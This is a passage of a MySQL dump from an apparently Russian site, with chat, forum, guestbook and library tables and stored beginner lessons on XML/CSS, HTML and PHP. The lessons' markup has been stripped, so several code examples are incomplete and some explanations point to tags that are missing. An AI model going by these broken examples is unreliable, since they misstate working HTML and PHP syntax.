файл.\r\n\r\nДобавьте в ранее созданный файл myFirstXML.xml строку\r\n\r\n.........................................................\r\n&lt;?xml:stylesheet type=&quot;text/css&quot; href=&quot;myFirstXML.css&quot;?&gt;\r\n.........................................................\r\n\r\nпосле строки\r\n\r\n........................\r\n&lt;?xml version=&quot;1.0&quot;?&gt;\r\n........................\r\n\r\nс целью декларировать связь документа XML со стилевой таблицей CSS.\r\n\r\nОпять сохраните файл.\r\n\r\nОткройте файл myFirstXML.xml в окне Internet Explorer.\r\n\r\n***Нет, не все так просто…***\r\n\r\nТаблицы CSS, позволяющие визуализировать XML-документы, все же не решают всех проблем. В настоящее время имеются гораздо более мощные средства для трансформации и презентации документов XML, позволяющие не только произвольным образом форматировать документ XML, но и изменять его структуру, осуществлять поиск и сортировку в документе и выполнять другие интересные и полезные операции. Для расширения таких возможностей был разработан специальный расширяемый язык стилей (XSL). У читателя может возникнуть вопрос: «Если я хочу связывать документ XML с различными стилевыми таблицами, должен ли я каждый раз менять строку документа, декларирующего его связь со стилевой таблицей, или это можно делать динамически, используя скрипты или языки программирования?» Конечно, можно! Впрочем, об этом в следующий раз…[/b]','','5','14','1409390011','3');
/*!40000 ALTER TABLE `blog_stat` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `chat_post`
--

DROP TABLE IF EXISTS `chat_post`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `chat_post` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `room` int(10) NOT NULL,
  `msg` text NOT NULL,
  `avtor` varchar(244) NOT NULL,
  `avtorlogin` varchar(244) NOT NULL,
  `time` varchar(244) NOT NULL,
  `color` varchar(25) NOT NULL,
  `emotion` varchar(40) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `chat_post`
--

LOCK TABLES `chat_post` WRITE;
/*!40000 ALTER TABLE `chat_post` DISABLE KEYS */;
/*!40000 ALTER TABLE `chat_post` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `chat_room`
--

DROP TABLE IF EXISTS `chat_room`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `chat_room` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(244) NOT NULL,
  `about` text NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `chat_room`
--

LOCK TABLES `chat_room` WRITE;
/*!40000 ALTER TABLE `chat_room` DISABLE KEYS */;
/*!40000 ALTER TABLE `chat_room` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `config`
--

DROP TABLE IF EXISTS `config`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `config` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `style` varchar(244) NOT NULL DEFAULT 'style',
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `config`
--

LOCK TABLES `config` WRITE;
/*!40000 ALTER TABLE `config` DISABLE KEYS */;
INSERT INTO `config` VALUES (1,'bester');
/*!40000 ALTER TABLE `config` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `forum_kat`
--

DROP TABLE IF EXISTS `forum_kat`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `forum_kat` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `razdel` varchar(244) NOT NULL,
  `name` varchar(244) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `forum_kat`
--

LOCK TABLES `forum_kat` WRITE;
/*!40000 ALTER TABLE `forum_kat` DISABLE KEYS */;
/*!40000 ALTER TABLE `forum_kat` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `forum_post`
--

DROP TABLE IF EXISTS `forum_post`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `forum_post` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `razdel` int(11) NOT NULL,
  `kat` int(11) NOT NULL,
  `tema` int(11) NOT NULL,
  `text` mediumtext NOT NULL,
  `us` varchar(255) NOT NULL,
  `time` varchar(255) NOT NULL,
  `citata` mediumtext NOT NULL,
  `citata_us` varchar(255) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `forum_post`
--

LOCK TABLES `forum_post` WRITE;
/*!40000 ALTER TABLE `forum_post` DISABLE KEYS */;
/*!40000 ALTER TABLE `forum_post` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `forum_razdel`
--

DROP TABLE IF EXISTS `forum_razdel`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `forum_razdel` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(244) NOT NULL,
  `opis` varchar(255) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `forum_razdel`
--

LOCK TABLES `forum_razdel` WRITE;
/*!40000 ALTER TABLE `forum_razdel` DISABLE KEYS */;
/*!40000 ALTER TABLE `forum_razdel` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `forum_tema`
--

DROP TABLE IF EXISTS `forum_tema`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `forum_tema` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `razdel` int(11) NOT NULL,
  `kat` int(11) NOT NULL,
  `text` varchar(244) NOT NULL,
  `name` varchar(244) NOT NULL,
  `us` varchar(255) NOT NULL,
  `time` varchar(255) NOT NULL,
  `status` int(11) NOT NULL,
  `up` varchar(255) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `forum_tema`
--

LOCK TABLES `forum_tema` WRITE;
/*!40000 ALTER TABLE `forum_tema` DISABLE KEYS */;
/*!40000 ALTER TABLE `forum_tema` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `forum_zaklad`
--

DROP TABLE IF EXISTS `forum_zaklad`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `forum_zaklad` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `tema` varchar(244) NOT NULL,
  `us` varchar(244) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=5 DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `forum_zaklad`
--

LOCK TABLES `forum_zaklad` WRITE;
/*!40000 ALTER TABLE `forum_zaklad` DISABLE KEYS */;
INSERT INTO `forum_zaklad` VALUES (3,'2','101'),(4,'14','1');
/*!40000 ALTER TABLE `forum_zaklad` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `guest`
--

DROP TABLE IF EXISTS `guest`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `guest` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `msg` text NOT NULL,
  `avtor` varchar(244) NOT NULL,
  `time` varchar(244) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `guest`
--

LOCK TABLES `guest` WRITE;
/*!40000 ALTER TABLE `guest` DISABLE KEYS */;
/*!40000 ALTER TABLE `guest` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `jalob_ba`
--

DROP TABLE IF EXISTS `jalob_ba`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `jalob_ba` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `about` text NOT NULL,
  `avtor` varchar(244) NOT NULL,
  `komy` varchar(244) NOT NULL,
  `time` varchar(244) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `jalob_ba`
--

LOCK TABLES `jalob_ba` WRITE;
/*!40000 ALTER TABLE `jalob_ba` DISABLE KEYS */;
/*!40000 ALTER TABLE `jalob_ba` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `kidala`
--

DROP TABLE IF EXISTS `kidala`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `kidala` (
  `id` int(255) NOT NULL AUTO_INCREMENT,
  `id_user` int(255) NOT NULL,
  `nick` varchar(50) CHARACTER SET utf8 NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `kidala`
--

LOCK TABLES `kidala` WRITE;
/*!40000 ALTER TABLE `kidala` DISABLE KEYS */;
/*!40000 ALTER TABLE `kidala` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `lenta`
--

DROP TABLE IF EXISTS `lenta`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `lenta` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `text` text NOT NULL,
  `kto` varchar(100) NOT NULL,
  `komy` varchar(100) NOT NULL,
  `time` varchar(100) NOT NULL,
  `readlen` varchar(1) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `lenta`
--

LOCK TABLES `lenta` WRITE;
/*!40000 ALTER TABLE `lenta` DISABLE KEYS */;
INSERT INTO `lenta` VALUES (1,'оставил комментарий к вашей [url=http://dumbass.worldbyte.net/news/comment8?selection=top]новости[/url]','2','1','1419588891','1');
/*!40000 ALTER TABLE `lenta` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `lib_razdel`
--

DROP TABLE IF EXISTS `lib_razdel`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `lib_razdel` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(100) DEFAULT NULL,
  `opis` varchar(244) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `lib_razdel`
--

LOCK TABLES `lib_razdel` WRITE;
/*!40000 ALTER TABLE `lib_razdel` DISABLE KEYS */;
INSERT INTO `lib_razdel` VALUES (4,'Css','Обучение css'),(2,'Html','Изучение html'),(3,'Php','Обучение php');
/*!40000 ALTER TABLE `lib_razdel` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `lib_stat`
--

DROP TABLE IF EXISTS `lib_stat`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `lib_stat` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `razdel` int(11) NOT NULL,
  `name` varchar(100) DEFAULT NULL,
  `opis` varchar(5000) NOT NULL,
  `meta` varchar(100) NOT NULL,
  `files` varchar(255) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=52 DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `lib_stat`
--

LOCK TABLES `lib_stat` WRITE;
/*!40000 ALTER TABLE `lib_stat` DISABLE KEYS */;
INSERT INTO `lib_stat` VALUES (20,2,'Урок 1: Структура web-документа. Вставка коммента','Каждый HTML-документ, отвечающий спецификации HTML какой-либо версии, должен начинаться со строки объявления версии HTML , которая обычно выглядит примерно так:\r\n &quot;http://www.w3.org/TR/html4/loose.dtd&quot;&gt;\r\n В данном случае мы говорим браузеру, что HTML соответствует международной спецификации версии 4.01. Не пытайтесь запомнить эту строчку наизусть, главное - вы должны знать, что она необходима. Ведь именно она помогает сделать сайт, которыйбудет одинаково смотреться вовсех браузерах(обычно это три основных Internet Explorer,Opera, Firefox) .\r\n Далее обозначается начало и конец документа тегами  и  соответственно. Внутри этих тегов должны находиться теги головы () и тела документа() .\r\n Обычно основой головы документа является элемент TITLE - заголовок документа. Также там содержится вся техническая информация, различные таблицы стилей и.т.п.А основное содержимое: текст,таблицы,картинки, - находится в теле документа.\r\n Как вы видите голова находится над телом, поэтому никогда не размещайте голову документа в теле документа (или наоборот) . Сначала закрываем голову документа , и лишь затем открываем тело . И еще, у документа одна голова и однотело, и не стоит пытаться создавать их большее количество.\r\n Вставка комментария: \r\n Очень полезным при создании сайтов является вставка комментария. Почему? да потому, что через месяц после создания, вам будет трудноваторазобраться что к чему, ведь кода будет очень много. А если вы будете комментировать свои действия - тогда разобраться будет значительно легче! Т.к. это учебник html с примерами , давайте к ним и обратимся:)\r\n Пример:\r\n &quot;http://www.w3.org/TR/html4/loose.dtd&quot;&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n . . .\r\n\r\n\r\n\r\n Вы уже наверное догадались, что закомментированный текст нужен только для Вас, т.е. при просмотре документа через браузер его видно не будет.\r\n В начале комментарий нужно открыть тегом  .\r\n Примечание: тег  внутри элемента TITLE не действует.','','files_1547_1599_'),(5,3,'Урок 1. Синтаксис','Синтаксис — правила, которые необходимо соблюдать, чтобы писать правильно структурированный код.\r\n Синтаксис PHP и его семантика похожи на большинство других языков программирования (C, Java, Perl). С той лишь разницей, что код PHP встраивается в html разметку страницы. Весь код PHP должны содержаться в следующих тегах:\r\n\r\n ?&gt;\r\n Или просто:\r\n ?&gt;\r\n\r\n\r\n Если вы не хотите проблем, то пишете по стандартной форме (т.е. ?php), а не в сокращенном виде. Это гарантирует, что ваши скрипты будут работать на серварах с разными настройками.\r\n Как сохранять ваши PHP страницы\r\n\r\n Если у вас есть PHP код, который включен в HTML и вы хотите, чтобы браузер интерпретировал все правильно, то вы должны сохранить файл с расширением .php, вместо стандартного .html. Так что не забудьте проверить, что вы сохраняете файлы правильно. Например, вместо index.html должно быть index.php.\r\n Пример простой html страницы с PHP кодом\r\n\r\n Ниже приведен пример простой странички, которая содержит в себе php код. Вы можете брать ее за основу для своих проектов:\r\n\r\n\r\n\r\n\r\n\r\n\r\n echo &quot;Hello World!&quot;;\r\n ?&gt;\r\n\r\n\r\n\r\n Вот что мы получим в результате:\r\n\r\n Hello World!\r\n\r\n Если вы сохраните этот файл (например, helloworld.php) и закинете его на сервер с поддержкой PHP, а затем загрузите ее в браузере, то вы должны увидеть надпись «Hello World!». Если этого не произошло, пожалуйста, проверьте, что Вы все сделали правильно и четко следовали примеру. Или задавайте вопросы в комментариях.\r\n\r\n Мы использовали команду echo, чтобы написать «Hello World!». Конечно, мы вернемся к этой команде чуть позже, в следующих уроках.\r\n Точка с запятой!\r\n\r\n Как вы можете заметить, в приведенном выше примере не было точки с запятой после строки кода PHP. Точка с запятой означает конец операции в PHP и никогда не стоит о ней забывать. Например, если бы мы повторили нашу команду вывода надписи «Hello World!» несколько раз, то мы должны поставить точку с запятой в конце каждой строки.\r\n\r\n\r\n\r\n\r\n\r\n\r\n echo &quot;Hello World! &quot;;\r\n echo &quot;Hello World! &quot;;\r\n echo &quot;Hello World! &quot;;\r\n echo &quot;Hello World! &quot;;\r\n echo &quot;Hello World! &quot;;\r\n ?&gt;\r\n\r\n\r\n\r\n Результат:\r\n\r\n Hello World! Hello World! Hello World! Hello World! Hello World!\r\n\r\n Пробелы\r\n\r\n Как и в HTML, пробелы между PHP выражениями игнорируются. То есть если в коде 20 пустых строк, например, для форматирования, то ничего страшного, они не будут видны в результате. Так же как и табуляция (Tab).\r\n\r\n\r\n\r\n\r\n\r\n\r\n echo &quot;Hello World!&quot;; \r\n\r\n\r\n\r\n echo &quot;Hello World!&quot;;\r\n\r\n\r\n ?&gt;\r\n\r\n\r\n\r\n Результат:\r\n\r\n Hello World!Hello World!','','files_3543_2069_'),(6,3,'Урок 2. Переменные','Переменная является средством хранения значения, такого как текстовая строка «Hello World!» или целое значение 4. Переменная может быть использована в любом месте кода, вместо того, чтобы вводить фактические значения снова и снова. В PHP вы определяете переменную следующим образом:\r\n\r\n $variable_name = Value;\r\n\r\n Как вы видите, любая переменная начинается со знака доллара. Нельзя о ней забывать, иначе ничего работать не будет. Это распространенная ошибка начинающих программистов PHP!\r\n\r\n Примечание: Кроме того, имена переменных чувствительны к регистру, так что используйте тоже самое написание при использовании переменной, что и при объявлении. Переменные $a_number и $A_number различные переменные в глазах PHP.\r\n Небольшой пример с переменными\r\n\r\n Итак, чтобы использовать переменные в языке php, мы должны сначала ее объявить (для этого придумать имя) и задать ей значение. Вот как это правильно сделать:\r\n\r\n $hello = &quot;Hello World!&quot;;\r\n $a_number = 4;\r\n $anotherNumber = 8;\r\n ?&gt;\r\n\r\n Примечание: PHP не требует объявления переменных перед использованием. Например, в Pascal нам бы потребовалось сначала объявить весь список переменных в разделе var. В пхп ничего такого не нужно.\r\n Разрешенные названия переменных\r\n\r\n Есть несколько правил, которые нужно соблюдать при выборе имени для ваших PHP переменных.\r\n\r\n PHP переменных должны начинаться с буквы или символа подчеркивания «_».\r\n PHP переменные могут состоять только из буквенно-цифровых знаков и символов подчеркивания. a-z, A-Z, 0-9, или _.\r\n Переменные из более чем одного слова могут быть разделены подчеркиванием. $my_variable\r\n Переменные из более чем одного слова также можно разделить регистром. $myVariable','','files_4115_2083_'),(7,3,'Урок 3. Echo','Вывод строки\r\n Для вывода строки, как мы делали в предыдущих уроках, используется echo. С ее помощью можно выводить текст в кавычках, значения переменных и т.д. Давайте рассмотрим на примере.\r\n\r\n $myString = &quot;Hello!&quot;;\r\n echo $myString;\r\n echo &quot;\r\nI love using PHP!\r\n&quot;;\r\n ?&gt;\r\n Вывод фразы «Hello!» нам уже знаком, тут ничего нового. Зато следующая команда echo, как вы видите, содержит html тег. Использовать html теги не запрещается, ведь php дает нам динамику, а статика и оформление страницы все еще во власти обычного html.\r\n\r\n Осторожны, двойные кавычки!\r\n Это очень здорово, что вы можете выводить HTML внутри PHP. Тем не менее, вы должны быть осторожны при использовании HTML-кода или любой другой строки, содержащей кавычки! В Эхо используются кавычки, чтобы определить начало и конец строки, поэтому вы должны использовать один из следующих вариантов, если хотите использовать кавычки внутри echo:\r\n\r\n Не используйте кавычки внутри строки.\r\n Экранируйте внутренние кавычки через слеш. Чтобы избежать обработки внутренних кавычек, просто поставьте обратную косую черту прямо перед ними, то есть \\».\r\n Используйте одинарные кавычки (апострофы) на внутри строки.\r\n Смотрите наш пример ниже для правильного и неправильного использования команды echo:\r\n\r\n // This won\'t work because of the quotes around specialH5!\r\n echo &quot;\r\nI love using PHP!\r\n&quot;; \r\n\r\n // OK because we escaped the quotes!\r\n echo &quot;\r\nI love using PHP!\r\n&quot;; \r\n\r\n // OK because we used an apostrophe \'\r\n echo &quot;\r\nI love using PHP!\r\n&quot;; \r\n ?&gt;\r\n Если вы хотите вывести строку, содержащую цитаты, либо используйте апостроф (‘), либо экранируйте кавычки поставив слеш перед ними (\\»). Обратная косая черта скажет PHP, что вы хотите, чтобы символ после нее не был обработан интерпретатором!\r\n\r\n Вывод переменных\r\n Выводить переменные очень легко. На самом деле для вывода переменных в пхп ничего особенного делать то и не нужно. Он сам это умеет. Вот пример, который поможет вам во всем разобраться:\r\n\r\n $my_string = &quot;Hello Bob. My name is: &quot;;\r\n $my_number = 4;\r\n $my_letter = a;\r\n echo $my_string;\r\n echo $my_number;\r\n echo $my_letter;\r\n ?&gt;\r\n Результат:\r\n\r\n Hello Bob. My name is: 4a\r\n Одновременный вывод переменных и текстовых строк\r\n Вы также можете выводить переменные в двойных кавычках (например, «текст текст $variable»). Поставив переменную внутри кавычек («») вы говорите PHP, что вы хотите, чтобы он взял ее значение, преобразовал его к строковому типу и вывел. Пример ниже показывает как правильно сделать такой трюк \r\n\r\n $my_string = &quot;Hello Bob. My name is: &quot;;\r\n echo &quot;$my_string Bobettta \r\n&quot;;\r\n echo &quot;Hi, I\'m Bob. Who are you? $my_string \r\n&quot;;\r\n echo &quot;Hi, I\'m Bob. Who are you? $my_string Bobetta&quot;;\r\n ?&gt;\r\n Результат:\r\n\r\n Hello Bob. My name is: Bobetta\r\n Hi, I\'m Bob. Who are you? Hello Bob. My name is: \r\n Hi, I\'m Bob. Who are you? Hello Bob. My name is: Bobetta\r\n Размещая переменные внутри строки, вы можете сэкономить время и сделать код более удобным для чтения, но к этому надо привыкнуть. Не забывайте использовать кавычки, одинарные кавычки не будут выводить значения переменных. Одинарные кавычки просто выведут имя переменной в строку, т.е. $ my_string, а не «Hello Bob. My name is».\r\n\r\n Echo не является функцией!\r\n Echo является не функцией, а языковой конструкцией. При использовании функции в PHP, они имеют очень конкретную форму, которую мы обязательно рассмотрим чуть позже. На данный момент, просто знайте, что echo это специальный инструмент, который вы обязательно полюбите! \r\n\r\n Конкатенация строк PHP\r\n Самая, пожалуй, распространенная операция со строками — это их конкатенация,','','files_5239_3719_'),(8,3,'Урок 4. Строки','PHP — Создание строк\r\n Прежде чем вы сможете использовать строку, вы должны создать ее! Строка может быть использована непосредственно в функции или сохранена в переменной. Ниже мы создадим одну и ту же строку дважды: сначала сохраним ее в переменной, а во втором случае мы пошлем строку непосредственно на вывод.\r\n\r\n $my_string = &quot;myblaze.ru - лучший сайт в мире!&quot;;\r\n echo &quot;myblaze.ru - лучший сайт в мире!&quot;;\r\n echo $my_string;\r\n В приведенном выше примере первая строка будет храниться в переменной $my_string, а вторая строка будет использоваться в echo без сохранения. Не забудьте сохранить ваши строки в переменные, если вы планируете использовать их больше, чем один раз! Ниже приведен результат кода из нашего примера. Строки выглядят одинаково как вы видите.\r\n\r\n myblaze.ru - лучший сайт в мире!\r\n PHP — Строки в одинарных кавычках\r\n До сих пор мы создавали строки, используя двойные кавычки, но их так же можно создавать и в одинарных кавычках, известных как апостроф (‘).\r\n\r\n $my_string = \'myblaze.ru - лучший сайт в мире\';\r\n echo \'myblaze.ru - лучший сайт в мире\';\r\n echo $my_string;\r\n Если вы хотите использовать одинарные кавычки в строке, вы должны избавиться от одной кавычки, поставив перед ней обратную косую черту \\. Например, так: \\»!\r\n Пример:\r\n\r\n echo \'myblaze it\\\'s cool!\';\r\n PHP — Строки в двойных кавычках\r\n Мы использовали двойные кавычки и будем продолжать использовать их как основной способ формирования строк. Двойные кавычки позволяют избежать многих специальных символов, которые будут использованы, чего нельзя сказать об одинарной кавычке. Еще раз, обратный слеш используется для пропуска символов.\r\n\r\n $newline = &quot;A newline is \\n&quot;;\r\n $return = &quot;A carriage return is \\r&quot;;\r\n $tab = &quot;A tab is \\t&quot;;\r\n $dollar = &quot;A dollar sign is \\$&quot;;\r\n $doublequote = &quot;A double-quote is \\&quot;&quot;;\r\n Примечание: Если вы хотите вывести невидимые символы, такие как табуляция, например, то уже знакомый нам слеш поможет в этом!\r\n\r\n На самом деле эти символы не очень полезны, ведь браузеры обрезают ненужные пробелы и табуляции, но в редких случаях они могут пригодиться. Табуляции, новые строки и возвраты каретки являются примерами экстра пробела. Тем не менее, при записи в файл, который может быть прочитан человеком, эти экранированные символы представляют собой ценный инструмент, т.к. помогают форматировать текст и приводят его в удобочитаемый вид!\r\n\r\n PHP — Создание строки методом Heredoc\r\n Два метода выше являются традиционными способами создания строки в большинстве языков программирования. PHP же представляет более надежный инструмент создания строк, который называется Heredoc. Он позволяет программисту создавать многострочные строки без использования кавычек. Однако, будьте осторожны с этим методов, ведь он сложнее и может привести к проблемам, если вы не правильно им воспользуетесь! Вот как это делается:\r\n\r\n $my_string = &lt;&lt; myblaze.ru \r\n - лучший \r\n сайт в мире\r\n TEST;\r\n\r\n echo $my_string;\r\n Результат:\r\n\r\n myblaze.ru - лучший сайт в мире\r\n Есть несколько очень важных вещей, которые следует помнить при использовании Heredoc.\r\n Используйте &lt;&lt;&lt; и некоторые идентификатор, который вы выбрали, чтобы начать Heredoc. В этом примере мы выбрали TEST, как наш идентификатор.\r\n Повторное использование идентификатора с точкой с запятой, заканчивает создание строки методом Heredoc.\r\n Закрытие последовательности, должно происходить на отдельной строке и не может быть смещено!\r\n\r\n Кстати, при выводе полученной таким способом строки в браузере мы получаем одну строку, а не несколько, т.е. мы не использовали тег br внутри нашей конструкции. Именно поэтому несколько раз подумайте перед использованием этого метода. А действительно ли он вам нужен?','','files_4321_4754_'),(9,3,'Урок 5. Операторы','Есть много операторов, используемых в PHP, поэтому мы разделили их на категории для простоты изучения.\r\n\r\n Операторы присваивания.\r\n Арифметические операторы.\r\n Операторы сравнения.\r\n Строковые операторы.\r\n Арифметические операторы совместно с операторами присваивания.\r\n Операторы присваивания\r\n Операторы присваивания используются для задания конкретного значения переменной или присвоения переменной значения другой переменной. Присвоение осуществляется с помощью символа «=». Пример:\r\n\r\n $my_var = 4;\r\n $another_var = $my_var;\r\n Теперь и $my_var и $another_var содержат значение 4.\r\n Присваивание может быть использовано в сочетании с арифметическими операторами.\r\n\r\n Арифметические операторы\r\n\r\n\r\n Код для примера:\r\n\r\n $addition = 2 + 4; \r\n $subtraction = 6 - 2; \r\n $multiplication = 5 * 3; \r\n $division = 15 / 3; \r\n $modulus = 5 % 2; \r\n echo &quot;Пример сложения: 2 + 4 = &quot;.$addition.&quot;\r\n&quot;; \r\n echo &quot;Пример вычитания: 6 - 2 = &quot;.$subtraction.&quot;\r\n&quot;; \r\n echo &quot;Пример умножения: 5 * 3 = &quot;.$multiplication.&quot;\r\n&quot;; \r\n echo &quot;Пример деления нацело: 15 / 3 = &quot;.$division.&quot;\r\n&quot;; \r\n echo &quot;Пример остатка от деления: 5 % 2 = &quot; . $modulus;\r\n Результат кода:\r\n\r\n Пример сложения: 2 + 4 = 6\r\n Пример вычитания: 6 - 2 = 4\r\n Пример умножения: 5 * 3 = 15\r\n Пример деления нацело: 15 / 3 = 5\r\n Пример остатка от деления: 5 % 2 = 1\r\n На самом деле все просто, не так ли? \r\n\r\n Операторы сравнения\r\n Сравнения используются, чтобы проверить связь между переменными или их значениями. Простой пример использования операторов сравнения будет представлен в уроке 9. Операторы сравнения используются внутри условных операторов и могут принимать значения истина или лож. Вот наиболее важные из операторов сравнения PHP.\r\n\r\n\r\n\r\n Строковые операторы\r\n Как мы уже видели в уроке про Echo, оператор «.» используется, чтобы соединить две строки (или более) вместе.\r\n\r\n Конечно же пример:\r\n\r\n $a_string = &quot;Hello&quot;;\r\n $another_string = &quot; Billy&quot;;\r\n $new_string = $a_string . $another_string;\r\n echo $new_string . &quot;!&quot;;\r\n Результат:\r\n\r\n Hello Billy!\r\n Арифметические операторы совместно с операторами присваивания\r\n В программировании это очень часто возникает задача, которая требует увеличения переменной на некоторую фиксированную величину. Наиболее распространенным примером является счетчик. Скажем, вы хотите увеличить счетчик на 3:\r\n\r\n $counter = $counter + 3;\r\n Однако, можно сократить запись.\r\n\r\n $counter += 3;\r\n Эта комбинация операторов будет выполнять ту же задачу. Недостатком такой конструкции является то, что она снижает читаемость кода для тех программистов, которые не привыкли к такому оператору. В общем, «+=» и «-=» являются наиболее широко используемыми операторами. Вот несколько похожих примеров из других областей.\r\n\r\n\r\n\r\n Пред, Пост — инкремент и Пред, Пост — декремент\r\n Это может показаться немного абсурдным, но есть даже короткая запись для общей задачи добавления единицы и вычитания единицы из переменной. Чтобы добавить 1 к переменной, можно использовать оператор «++» (инкремент):\r\n\r\n $x++; что эквивалентно $x += 1; или $x = $x + 1;\r\n Чтобы вычесть 1 из переменной, можно использовать оператор «—» (декремент):\r\n\r\n $x—; что эквивалентно $x -= 1; или $x = $x — 1;\r\n В дополнение к этому сокращению вы можете указать, хотите ли вы увеличить переменную до вывода или после. Вот пример того, о чем я говорю:\r\n\r\n $x = 4;\r\n echo &quot;Значение переменной с пост-инкрементом = &quot; . $x++;\r\n echo &quot;\r\n Значение переменной после выполнения пост-инкремента = &quot; . $x;\r\n $x = 4;\r\n echo &quot;\r\nЗначение переменной с пред-инкрементом = &quot; . ++$x;\r\n echo &quot;\r\n Значение переменной после пред-инкремента = &quot; . $x;\r\n Посмотрите на результат:\r\n\r\n Значение переменной с пост-инкрементом = 4\r\n Значение переменной после выполнения пост-инкремента = 5\r\n Значение переменной с пред-инкрементом = 5\r\n Значение переменной после пред-инкремента = 5\r\n Как вы можете видеть, значение переменной $х++ не отражается эхом в тексте, потому что переменная не увеличивается до окончания выполнения кода. Однако, с пред-инкрементом ++$х, переменная будет отражать результат сразу.','','files_4944_2467_'),(10,3,'Урок 6. Комментарии','Комментарии в PHP аналогичны комментариям, которые используются в HTML. В синтаксисе PHP комментарий начинаются всегда с особой последовательностью символов и весь текст, который появляется между этих спецсимволов, 